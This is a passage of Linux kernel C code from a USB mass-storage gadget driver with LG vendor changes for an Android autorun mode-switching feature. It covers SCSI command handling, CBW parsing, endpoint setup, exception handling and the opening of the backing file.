/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(10)) "); //check the run NOT OK
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
fsg->curlun = curlun = NULL;
fsg->bad_lun_okay = 0;
/* INQUIRY and REQUEST SENSE commands are explicitly allowed
* to use unsupported LUNs; all others may not. */
if (fsg->cmnd[0] != SC_INQUIRY &&
fsg->cmnd[0] != SC_REQUEST_SENSE) {
DBG(fsg, "unsupported LUN %d\n", fsg->lun);
return -EINVAL;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(12)) \n");//supported LUN
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
/* If a unit attention condition exists, only INQUIRY and
* REQUEST SENSE commands are allowed; anything else must fail. */
if (curlun && curlun->unit_attention_data != SS_NO_SENSE &&
fsg->cmnd[0] != SC_INQUIRY &&
fsg->cmnd[0] != SC_REQUEST_SENSE) {
curlun->sense_data = curlun->unit_attention_data;
curlun->unit_attention_data = SS_NO_SENSE;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(13)) \n"); //ERROR unit attention condition
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return -EINVAL;
}
/* Check that only command bytes listed in the mask are non-zero */
fsg->cmnd[1] &= 0x1f; /* Mask away the LUN */
for (i = 1; i < cmnd_size; ++i) {
if (fsg->cmnd[i] && !(mask & (1 << i))) {
if (curlun)
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
DBG(fsg, "SS_INVALID_FIELD_IN_CDB\n");
return -EINVAL;
}
}
/* If the medium isn't mounted and the command needs to access
* it, return an error. */
if (curlun && !backing_file_is_open(curlun) && needs_medium) {
curlun->sense_data = SS_MEDIUM_NOT_PRESENT;
DBG(fsg, "SS_MEDIUM_NOT_PRESENT\n");
return -EINVAL;
}
return 0;
}
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
extern int get_autorun_user_mode(void);
#endif
static int do_scsi_command(struct fsg_dev *fsg)
{
struct fsg_buffhd *bh;
int rc;
int reply = -EINVAL;
int i;
static char unknown[16];
dump_cdb(fsg);
/* Wait for the next buffer to become available for data or status */
bh = fsg->next_buffhd_to_drain = fsg->next_buffhd_to_fill;
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
fsg->phase_error = 0;
fsg->short_packet_received = 0;
down_read(&fsg->filesem); /* We're using the backing file */
switch (fsg->cmnd[0]) {
pr_info("%s : CMND - %x %x %x => adward\n", __func__,
fsg->cmnd[0], fsg->cmnd[1], fsg->cmnd[2]);
case SC_INQUIRY:
fsg->data_size_from_cmnd = fsg->cmnd[4];
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(1<<4), 0,
"INQUIRY")) == 0)
reply = do_inquiry(fsg, bh);
break;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
case SC_LGE_SPE:
pr_info("%s : SC_LGE_SPE - %x %x %x\n", __func__,
fsg->cmnd[0], fsg->cmnd[1], fsg->cmnd[2]);
fsg->mode_state = MODE_STATE_UNKNOWN;
switch(fsg->cmnd[1])
{
case SUB_CODE_MODE_CHANGE:
switch(fsg->cmnd[2])
{
case TYPE_MOD_CHG_TO_ACM :
case TYPE_MOD_CHG2_TO_ACM :
fsg->mode_state = MODE_STATE_ACM;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_ACM\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
case TYPE_MOD_CHG_TO_UMS :
case TYPE_MOD_CHG2_TO_UMS :
fsg->mode_state = MODE_STATE_UMS;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_UMS\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
case TYPE_MOD_CHG_TO_MTP :
case TYPE_MOD_CHG2_TO_MTP :
fsg->mode_state = MODE_STATE_MTP;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_MTP\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
#else
case TYPE_MOD_CHG_RESERVED :
case TYPE_MOD_CHG2_RESERVED :
fsg->mode_state = MODE_STATE_RESERVED;
break;
#endif
case TYPE_MOD_CHG_TO_ASK :
case TYPE_MOD_CHG2_TO_ASK :
fsg->mode_state = MODE_STATE_ASK;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_ASK\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
case TYPE_MOD_CHG_TO_CGO :
case TYPE_MOD_CHG2_TO_CGO :
fsg->mode_state = MODE_STATE_CGO;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_CGO\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
case TYPE_MOD_CHG_TO_TET :
case TYPE_MOD_CHG2_TO_TET :
fsg->mode_state = MODE_STATE_TET;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_TET\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
break;
#endif
default:
fsg->mode_state = MODE_STATE_UNKNOWN;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2011-01-29 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("MODE_DEFAULT\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2011-01-29 */
}
pr_info("%s : SC_LGE_MODE - %d\n", __func__, fsg->mode_state);
if (fsg->autorun_enable && &fsg->autorun_sdev) {
switch_set_state(&fsg->autorun_sdev, fsg->mode_state);
/* For Refreshing Uevent, This Uevent will be ignore by
AutoRun APK */
}
reply = 0;
break;
case SUB_CODE_GET_VALUE:
switch(fsg->cmnd[2])
{
case ACK_STATUS_TO_HOST : // 0xf1 0x02 0x10
/* If some error exists, we set default mode
to ACM mode */
user_mode = get_autorun_user_mode();
//user_mode = fsg->mode_state;
fsg->mode_state = MODE_STATE_GET_VALUE;
if (user_mode >= ACK_STATUS_ERR) {
pr_err("%s [AUTORUN] : Error on user mode setting, set default mode (ACM)\n", __func__);
user_mode = ACK_STATUS_ACM;
} else
pr_info("%s [AUTORUN] : send user mode to PC -> %s\n", __func__, check_str[user_mode]);
fsg->data_size_from_cmnd = 1;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1), 1, check_str[user_mode])) == 0)
reply=do_ack_status(fsg, bh, user_mode);
/* For reseting Autorun App watchdog timer */
if (fsg->autorun_enable && &fsg->autorun_sdev)
{
switch_set_state(&fsg->autorun_sdev, fsg->mode_state);
}
break;
case ACK_SW_REV_TO_HOST : // 0xf1 0x02 0x12
fsg->data_size_from_cmnd = 7;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1), 1, "ACK_SW_REV")) == 0)
reply=do_get_sw_rev(fsg, bh);
break;
case ACK_MEID_TO_HOST : // 0xf1 0x02 0x13
fsg->data_size_from_cmnd = 7;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1), 1, "ACK_MEID")) == 0)
reply=do_get_meid(fsg, bh);
break;
case ACK_MODEL_TO_HOST : // 0xf1 0x02 0x14
fsg->data_size_from_cmnd = 7;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1), 1, "ACK_MODEL_NAME")) == 0)
reply=do_get_model(fsg, bh);
break;
case ACK_SUB_VER_TO_HOST: // 0xf1 0x02 0x15
fsg->data_size_from_cmnd = 7;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1), 1, "ACK_SUB_VERSION")) == 0)
reply=do_get_sub_ver(fsg, bh);
break;
default:
break;
}
break;
case SUB_CODE_PROBE_DEV:
fsg->mode_state = MODE_STATE_PROBE_DEV;
reply=0;
break;
default:
fsg->mode_state = MODE_STATE_UNKNOWN;
reply=0;
break;
}
break;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
case SC_MODE_SELECT_6:
fsg->data_size_from_cmnd = fsg->cmnd[4];
if ((reply = check_command(fsg, 6, DATA_DIR_FROM_HOST,
(1<<1) | (1<<4), 0,
"MODE SELECT(6)")) == 0)
reply = do_mode_select(fsg, bh);
break;
case SC_MODE_SELECT_10:
fsg->data_size_from_cmnd = get_be16(&fsg->cmnd[7]);
if ((reply = check_command(fsg, 10, DATA_DIR_FROM_HOST,
(1<<1) | (3<<7), 0,
"MODE SELECT(10)")) == 0)
reply = do_mode_select(fsg, bh);
break;
case SC_MODE_SENSE_6:
fsg->data_size_from_cmnd = fsg->cmnd[4];
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(1<<1) | (1<<2) | (1<<4), 0,
"MODE SENSE(6)")) == 0)
reply = do_mode_sense(fsg, bh);
break;
case SC_MODE_SENSE_10:
fsg->data_size_from_cmnd = get_be16(&fsg->cmnd[7]);
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(1<<1) | (1<<2) | (3<<7), 0,
"MODE SENSE(10)")) == 0)
reply = do_mode_sense(fsg, bh);
break;
case SC_PREVENT_ALLOW_MEDIUM_REMOVAL:
fsg->data_size_from_cmnd = 0;
if ((reply = check_command(fsg, 6, DATA_DIR_NONE,
(1<<4), 0,
"PREVENT-ALLOW MEDIUM REMOVAL")) == 0)
reply = do_prevent_allow(fsg);
break;
case SC_READ_6:
i = fsg->cmnd[4];
fsg->data_size_from_cmnd = (i == 0 ? 256 : i) << 9;
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(7<<1) | (1<<4), 1,
"READ(6)")) == 0)
reply = do_read(fsg);
break;
case SC_READ_10:
fsg->data_size_from_cmnd = get_be16(&fsg->cmnd[7]) << 9;
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(1<<1) | (0xf<<2) | (3<<7), 1,
"READ(10)")) == 0)
reply = do_read(fsg);
break;
case SC_READ_12:
fsg->data_size_from_cmnd = get_be32(&fsg->cmnd[6]) << 9;
if ((reply = check_command(fsg, 12, DATA_DIR_TO_HOST,
(1<<1) | (0xf<<2) | (0xf<<6), 1,
"READ(12)")) == 0)
reply = do_read(fsg);
break;
case SC_READ_CAPACITY:
fsg->data_size_from_cmnd = 8;
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(0xf<<2) | (1<<8), 1,
"READ CAPACITY")) == 0)
reply = do_read_capacity(fsg, bh);
break;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
case SC_READ_HEADER:
if (!fsg->curlun->ro)
goto unknown_cmnd;
fsg->data_size_from_cmnd = get_unaligned_be16(&fsg->cmnd[7]);
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(3<<7) | (0x1f<<1), 1,
"READ HEADER")) == 0)
reply = do_read_header(fsg, bh);
break;
case SC_READ_TOC:
if (!fsg->curlun->ro)
goto unknown_cmnd;
fsg->data_size_from_cmnd = get_unaligned_be16(&fsg->cmnd[7]);
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(7<<6) | (1<<1), 1,
"READ TOC")) == 0)
reply = do_read_toc(fsg, bh);
break;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
case SC_READ_FORMAT_CAPACITIES:
fsg->data_size_from_cmnd = get_be16(&fsg->cmnd[7]);
if ((reply = check_command(fsg, 10, DATA_DIR_TO_HOST,
(3<<7), 1,
"READ FORMAT CAPACITIES")) == 0)
reply = do_read_format_capacities(fsg, bh);
break;
case SC_REQUEST_SENSE:
fsg->data_size_from_cmnd = fsg->cmnd[4];
if ((reply = check_command(fsg, 6, DATA_DIR_TO_HOST,
(1<<4), 0,
"REQUEST SENSE")) == 0)
reply = do_request_sense(fsg, bh);
break;
case SC_START_STOP_UNIT:
fsg->data_size_from_cmnd = 0;
if ((reply = check_command(fsg, 6, DATA_DIR_NONE,
(1<<1) | (1<<4), 0,
"START-STOP UNIT")) == 0)
reply = do_start_stop(fsg);
break;
case SC_SYNCHRONIZE_CACHE:
fsg->data_size_from_cmnd = 0;
if ((reply = check_command(fsg, 10, DATA_DIR_NONE,
(0xf<<2) | (3<<7), 1,
"SYNCHRONIZE CACHE")) == 0)
reply = do_synchronize_cache(fsg);
break;
case SC_TEST_UNIT_READY:
fsg->data_size_from_cmnd = 0;
reply = check_command(fsg, 6, DATA_DIR_NONE,
0, 1,
"TEST UNIT READY");
break;
/* Although optional, this command is used by MS-Windows. We
* support a minimal version: BytChk must be 0. */
case SC_VERIFY:
fsg->data_size_from_cmnd = 0;
if ((reply = check_command(fsg, 10, DATA_DIR_NONE,
(1<<1) | (0xf<<2) | (3<<7), 1,
"VERIFY")) == 0)
reply = do_verify(fsg);
break;
case SC_WRITE_6:
i = fsg->cmnd[4];
fsg->data_size_from_cmnd = (i == 0 ? 256 : i) << 9;
if ((reply = check_command(fsg, 6, DATA_DIR_FROM_HOST,
(7<<1) | (1<<4), 1,
"WRITE(6)")) == 0)
reply = do_write(fsg);
break;
case SC_WRITE_10:
fsg->data_size_from_cmnd = get_be16(&fsg->cmnd[7]) << 9;
if ((reply = check_command(fsg, 10, DATA_DIR_FROM_HOST,
(1<<1) | (0xf<<2) | (3<<7), 1,
"WRITE(10)")) == 0)
reply = do_write(fsg);
break;
case SC_WRITE_12:
fsg->data_size_from_cmnd = get_be32(&fsg->cmnd[6]) << 9;
if ((reply = check_command(fsg, 12, DATA_DIR_FROM_HOST,
(1<<1) | (0xf<<2) | (0xf<<6), 1,
"WRITE(12)")) == 0)
reply = do_write(fsg);
break;
/* Some mandatory commands that we recognize but don't implement.
* They don't mean much in this setting. It's left as an exercise
* for anyone interested to implement RESERVE and RELEASE in terms
* of Posix locks. */
case SC_FORMAT_UNIT:
case SC_RELEASE:
case SC_RESERVE:
case SC_SEND_DIAGNOSTIC:
/* Fall through */
default:
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
unknown_cmnd:
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
fsg->data_size_from_cmnd = 0;
sprintf(unknown, "Unknown x%02x", fsg->cmnd[0]);
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("unknown_cmnd x%02x", fsg->cmnd[0]);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if ((reply = check_command(fsg, fsg->cmnd_size,
DATA_DIR_UNKNOWN, 0xff, 0, unknown)) == 0) {
fsg->curlun->sense_data = SS_INVALID_COMMAND;
reply = -EINVAL;
}
break;
}
up_read(&fsg->filesem);
VDBG(fsg, "reply: %d, fsg->data_size_from_cmnd: %d\n",
reply, fsg->data_size_from_cmnd);
if (reply == -EINTR || signal_pending(current))
{
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("go error = return -EINTR\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return -EINTR;
}
/* Set up the single reply buffer for finish_reply() */
if (reply == -EINVAL)
reply = 0; /* Error reply length */
if (reply >= 0 && fsg->data_dir == DATA_DIR_TO_HOST) {
reply = min((u32) reply, fsg->data_size_from_cmnd);
bh->inreq->length = reply;
bh->state = BUF_STATE_FULL;
fsg->residue -= reply;
} /* Otherwise it's already set */
return 0;
}
/*-------------------------------------------------------------------------*/
static int received_cbw(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct usb_request *req = bh->outreq;
struct bulk_cb_wrap *cbw = req->buf;
/* Was this a real packet? */
if (req->status)
return -EINVAL;
/* Is the CBW valid? */
if (req->actual != USB_BULK_CB_WRAP_LEN ||
cbw->Signature != __constant_cpu_to_le32(
USB_BULK_CB_SIG)) {
DBG(fsg, "invalid CBW: len %u sig 0x%x\n",
req->actual,
le32_to_cpu(cbw->Signature));
return -EINVAL;
}
/* Is the CBW meaningful? */
if (cbw->Lun >= MAX_LUNS || cbw->Flags & ~USB_BULK_IN_FLAG ||
cbw->Length <= 0 || cbw->Length > MAX_COMMAND_SIZE) {
DBG(fsg, "non-meaningful CBW: lun = %u, flags = 0x%x, "
"cmdlen %u\n",
cbw->Lun, cbw->Flags, cbw->Length);
return -EINVAL;
}
/* Save the command for later */
fsg->cmnd_size = cbw->Length;
memcpy(fsg->cmnd, cbw->CDB, fsg->cmnd_size);
if (cbw->Flags & USB_BULK_IN_FLAG)
fsg->data_dir = DATA_DIR_TO_HOST;
else
fsg->data_dir = DATA_DIR_FROM_HOST;
fsg->data_size = le32_to_cpu(cbw->DataTransferLength);
if (fsg->data_size == 0)
fsg->data_dir = DATA_DIR_NONE;
fsg->lun = cbw->Lun;
fsg->tag = cbw->Tag;
return 0;
}
static int get_next_command(struct fsg_dev *fsg)
{
struct fsg_buffhd *bh;
int rc = 0;
/* Wait for the next buffer to become available */
bh = fsg->next_buffhd_to_fill;
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc) {
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if(fsg->autorun_enable) {
usb_ep_dequeue(fsg->bulk_out, bh->outreq);
bh->outreq_busy = 0;
bh->state = BUF_STATE_EMPTY;
return rc;
} else
return rc;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
}
/* Queue a request to read a Bulk-only CBW */
set_bulk_out_req_length(fsg, bh, USB_BULK_CB_WRAP_LEN);
start_transfer(fsg, fsg->bulk_out, bh->outreq,
&bh->outreq_busy, &bh->state);
/* We will drain the buffer in software, which means we
* can reuse it for the next filling. No need to advance
* next_buffhd_to_fill. */
/* Wait for the CBW to arrive */
while (bh->state != BUF_STATE_FULL) {
rc = sleep_thread(fsg);
if (rc) {
usb_ep_dequeue(fsg->bulk_out, bh->outreq);
bh->outreq_busy = 0;
bh->state = BUF_STATE_EMPTY;
return rc;
}
}
smp_rmb();
rc = received_cbw(fsg, bh);
bh->state = BUF_STATE_EMPTY;
return rc;
}
/*-------------------------------------------------------------------------*/
static int enable_endpoint(struct fsg_dev *fsg, struct usb_ep *ep,
const struct usb_endpoint_descriptor *d)
{
int rc;
DBG(fsg, "usb_ep_enable %s\n", ep->name);
ep->driver_data = fsg;
rc = usb_ep_enable(ep, d);
if (rc)
ERROR(fsg, "can't enable %s, result %d\n", ep->name, rc);
return rc;
}
static int alloc_request(struct fsg_dev *fsg, struct usb_ep *ep,
struct usb_request **preq)
{
*preq = usb_ep_alloc_request(ep, GFP_ATOMIC);
if (*preq)
return 0;
ERROR(fsg, "can't allocate request for %s\n", ep->name);
return -ENOMEM;
}
/*
* Reset interface setting and re-init endpoint state (toggle etc).
* Call with altsetting < 0 to disable the interface. The only other
* available altsetting is 0, which enables the interface.
*/
static int do_set_interface(struct fsg_dev *fsg, int altsetting)
{
int rc = 0;
int i;
if (fsg->running)
DBG(fsg, "reset interface\n");
reset:
/* Deallocate the requests */
for (i = 0; i < NUM_BUFFERS; ++i) {
struct fsg_buffhd *bh = &fsg->buffhds[i];
if (bh->inreq) {
usb_ep_free_request(fsg->bulk_in, bh->inreq);
bh->inreq = NULL;
}
if (bh->outreq) {
usb_ep_free_request(fsg->bulk_out, bh->outreq);
bh->outreq = NULL;
}
}
fsg->running = 0;
if (altsetting < 0 || rc != 0)
return rc;
DBG(fsg, "set interface %d\n", altsetting);
/* Allocate the requests */
for (i = 0; i < NUM_BUFFERS; ++i) {
struct fsg_buffhd *bh = &fsg->buffhds[i];
rc = alloc_request(fsg, fsg->bulk_in, &bh->inreq);
if (rc != 0)
goto reset;
rc = alloc_request(fsg, fsg->bulk_out, &bh->outreq);
if (rc != 0)
goto reset;
bh->inreq->buf = bh->outreq->buf = bh->buf;
bh->inreq->context = bh->outreq->context = bh;
bh->inreq->complete = bulk_in_complete;
bh->outreq->complete = bulk_out_complete;
}
fsg->running = 1;
for (i = 0; i < fsg->nluns; ++i)
fsg->luns[i].unit_attention_data = SS_RESET_OCCURRED;
return rc;
}
static void adjust_wake_lock(struct fsg_dev *fsg)
{
int ums_active = 0;
int i;
spin_lock_irq(&fsg->lock);
if (fsg->config) {
for (i = 0; i < fsg->nluns; ++i) {
if (backing_file_is_open(&fsg->luns[i]))
ums_active = 1;
}
}
if (ums_active)
wake_lock(&fsg->wake_lock);
else
wake_unlock(&fsg->wake_lock);
spin_unlock_irq(&fsg->lock);
}
/*
* Change our operational configuration. This code must agree with the code
* that returns config descriptors, and with interface altsetting code.
*
* It's also responsible for power management interactions. Some
* configurations might not work with our current power sources.
* For now we just assume the gadget is always self-powered.
*/
static int do_set_config(struct fsg_dev *fsg, u8 new_config)
{
int rc = 0;
/* Disable the single interface */
if (fsg->config != 0) {
DBG(fsg, "reset config\n");
fsg->config = 0;
rc = do_set_interface(fsg, -1);
}
/* Enable the interface */
if (new_config != 0) {
fsg->config = new_config;
if ((rc = do_set_interface(fsg, 0)) != 0)
fsg->config = 0; // Reset on errors
}
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (!fsg->autorun_enable)
{
switch_set_state(&fsg->sdev, new_config);
}
#else
switch_set_state(&fsg->sdev, new_config);
#endif
adjust_wake_lock(fsg);
return rc;
}
/*-------------------------------------------------------------------------*/
static void handle_exception(struct fsg_dev *fsg)
{
siginfo_t info;
int sig;
int i;
int num_active;
struct fsg_buffhd *bh;
enum fsg_state old_state;
u8 new_config;
struct lun *curlun;
int rc;
DBG(fsg, "handle_exception state: %d\n", (int)fsg->state);
/* Clear the existing signals. Anything but SIGUSR1 is converted
* into a high-priority EXIT exception. */
for (;;) {
sig = dequeue_signal_lock(current, ¤t->blocked, &info);
if (!sig)
break;
if (sig != SIGUSR1) {
if (fsg->state < FSG_STATE_EXIT)
DBG(fsg, "Main thread exiting on signal\n");
raise_exception(fsg, FSG_STATE_EXIT);
}
}
/* Cancel all the pending transfers */
for (i = 0; i < NUM_BUFFERS; ++i) {
bh = &fsg->buffhds[i];
if (bh->inreq_busy)
usb_ep_dequeue(fsg->bulk_in, bh->inreq);
if (bh->outreq_busy)
usb_ep_dequeue(fsg->bulk_out, bh->outreq);
}
/* Wait until everything is idle */
for (;;) {
num_active = 0;
for (i = 0; i < NUM_BUFFERS; ++i) {
bh = &fsg->buffhds[i];
num_active += bh->outreq_busy;
}
if (num_active == 0)
break;
if (sleep_thread(fsg))
return;
}
/*
* Do NOT flush the fifo after set_interface()
* Otherwise, it results in some data being lost
*/
if ((fsg->state != FSG_STATE_CONFIG_CHANGE) ||
(fsg->new_config != 1)) {
/* Clear out the controller's fifos */
if (fsg->bulk_in_enabled)
usb_ep_fifo_flush(fsg->bulk_in);
if (fsg->bulk_out_enabled)
usb_ep_fifo_flush(fsg->bulk_out);
}
/* Reset the I/O buffer states and pointers, the SCSI
* state, and the exception. Then invoke the handler. */
spin_lock_irq(&fsg->lock);
for (i = 0; i < NUM_BUFFERS; ++i) {
bh = &fsg->buffhds[i];
bh->state = BUF_STATE_EMPTY;
}
fsg->next_buffhd_to_fill = fsg->next_buffhd_to_drain =
&fsg->buffhds[0];
new_config = fsg->new_config;
old_state = fsg->state;
if (old_state == FSG_STATE_ABORT_BULK_OUT)
fsg->state = FSG_STATE_STATUS_PHASE;
else {
for (i = 0; i < fsg->nluns; ++i) {
curlun = &fsg->luns[i];
curlun->prevent_medium_removal = 0;
curlun->sense_data = curlun->unit_attention_data =
SS_NO_SENSE;
curlun->sense_data_info = 0;
curlun->info_valid = 0;
}
fsg->state = FSG_STATE_IDLE;
}
spin_unlock_irq(&fsg->lock);
/* Carry out any extra actions required for the exception */
switch (old_state) {
default:
break;
case FSG_STATE_ABORT_BULK_OUT:
DBG(fsg, "FSG_STATE_ABORT_BULK_OUT\n");
spin_lock_irq(&fsg->lock);
if (fsg->state == FSG_STATE_STATUS_PHASE)
fsg->state = FSG_STATE_IDLE;
spin_unlock_irq(&fsg->lock);
break;
case FSG_STATE_RESET:
/* really not much to do here */
break;
case FSG_STATE_CONFIG_CHANGE:
rc = do_set_config(fsg, new_config);
if (new_config == 0) {
/* We're using the backing file */
down_read(&fsg->filesem);
fsync_all(fsg);
up_read(&fsg->filesem);
}
break;
case FSG_STATE_EXIT:
case FSG_STATE_TERMINATED:
do_set_config(fsg, 0); /* Free resources */
spin_lock_irq(&fsg->lock);
fsg->state = FSG_STATE_TERMINATED; /* Stop the thread */
spin_unlock_irq(&fsg->lock);
break;
}
}
/*-------------------------------------------------------------------------*/
static int fsg_main_thread(void *fsg_)
{
struct fsg_dev *fsg = fsg_;
/* Allow the thread to be killed by a signal, but set the signal mask
* to block everything but INT, TERM, KILL, and USR1. */
allow_signal(SIGINT);
allow_signal(SIGTERM);
allow_signal(SIGKILL);
allow_signal(SIGUSR1);
/* Allow the thread to be frozen */
set_freezable();
/* Arrange for userspace references to be interpreted as kernel
* pointers. That way we can pass a kernel pointer to a routine
* that expects a __user pointer and it will work okay. */
set_fs(get_ds());
/* The main loop */
while (fsg->state != FSG_STATE_TERMINATED) {
if (exception_in_progress(fsg) || signal_pending(current)) {
handle_exception(fsg);
continue;
}
if (!fsg->running) {
sleep_thread(fsg);
continue;
}
if (get_next_command(fsg))
continue;
spin_lock_irq(&fsg->lock);
if (!exception_in_progress(fsg))
fsg->state = FSG_STATE_DATA_PHASE;
spin_unlock_irq(&fsg->lock);
if (do_scsi_command(fsg) || finish_reply(fsg))
continue;
spin_lock_irq(&fsg->lock);
if (!exception_in_progress(fsg))
fsg->state = FSG_STATE_STATUS_PHASE;
spin_unlock_irq(&fsg->lock);
#ifdef CONFIG_USB_CSW_HACK
/* Since status is already sent for write scsi command,
* need to skip sending status once again if it is a
* write scsi command.
*/
if (fsg->cmnd[0] == SC_WRITE_6 || fsg->cmnd[0] == SC_WRITE_10
|| fsg->cmnd[0] == SC_WRITE_12)
continue;
#endif
if (send_status(fsg))
continue;
spin_lock_irq(&fsg->lock);
if (!exception_in_progress(fsg))
fsg->state = FSG_STATE_IDLE;
spin_unlock_irq(&fsg->lock);
}
spin_lock_irq(&fsg->lock);
fsg->thread_task = NULL;
spin_unlock_irq(&fsg->lock);
/* In case we are exiting because of a signal, unregister the
* gadget driver and close the backing file. */
if (test_and_clear_bit(REGISTERED, &fsg->atomic_bitflags))
close_all_backing_files(fsg);
/* Let the unbind and cleanup routines know the thread has exited */
complete_and_exit(&fsg->thread_notifier, 0);
}
/*-------------------------------------------------------------------------*/
/* If the next two routines are called while the gadget is registered,
* the caller must own fsg->filesem for writing. */
static int open_backing_file(struct fsg_dev *fsg, struct lun *curlun,
const char *filename)
{
int ro;
struct file *filp = NULL;
int rc = -EINVAL;
struct inode *inode = NULL;
loff_t size;
loff_t num_sectors;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
loff_t min_sectors;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/* R/W if we can, R/O if we must */
ro = curlun->ro;
if (!ro) {
filp = filp_open(filename, O_RDWR | O_LARGEFILE, 0);
if (-EROFS == PTR_ERR(filp))
ro = 1;
}
if (ro)
filp = filp_open(filename, O_RDONLY | O_LARGEFILE, 0);
if (IS_ERR(filp)) {
LINFO(curlun, "unable to open backing file: %s\n", filename);
return PTR_ERR(filp);
}
if (!(filp->f_mode & FMODE_WRITE))
ro = 1;
if (filp->f_path.dentry)
inode = filp->f_path.dentry->d_inode;
if (inode && S_ISBLK(inode->i_mode)) {
if (bdev_read_only(inode->i_bdev))
ro = 1;
} else if (!inode || !S_ISREG(inode->i_mode)) {
LINFO(curlun, "invalid file type: %s\n", filename);
goto out;
}
/* If we can't read the file, it's no good.
* If we can't write the file, use it read-only. */
if (!filp->f_op || !(filp->f_op->read || filp->f_op->aio_read)) {
LINFO(curlun, "file not readable: %s\n", filename);
goto out;
}
if (!(filp->f_op->write || filp->f_op->aio_write))
ro = 1;
size = i_size_read(inode->i_mapping->host);
if (size < 0) {
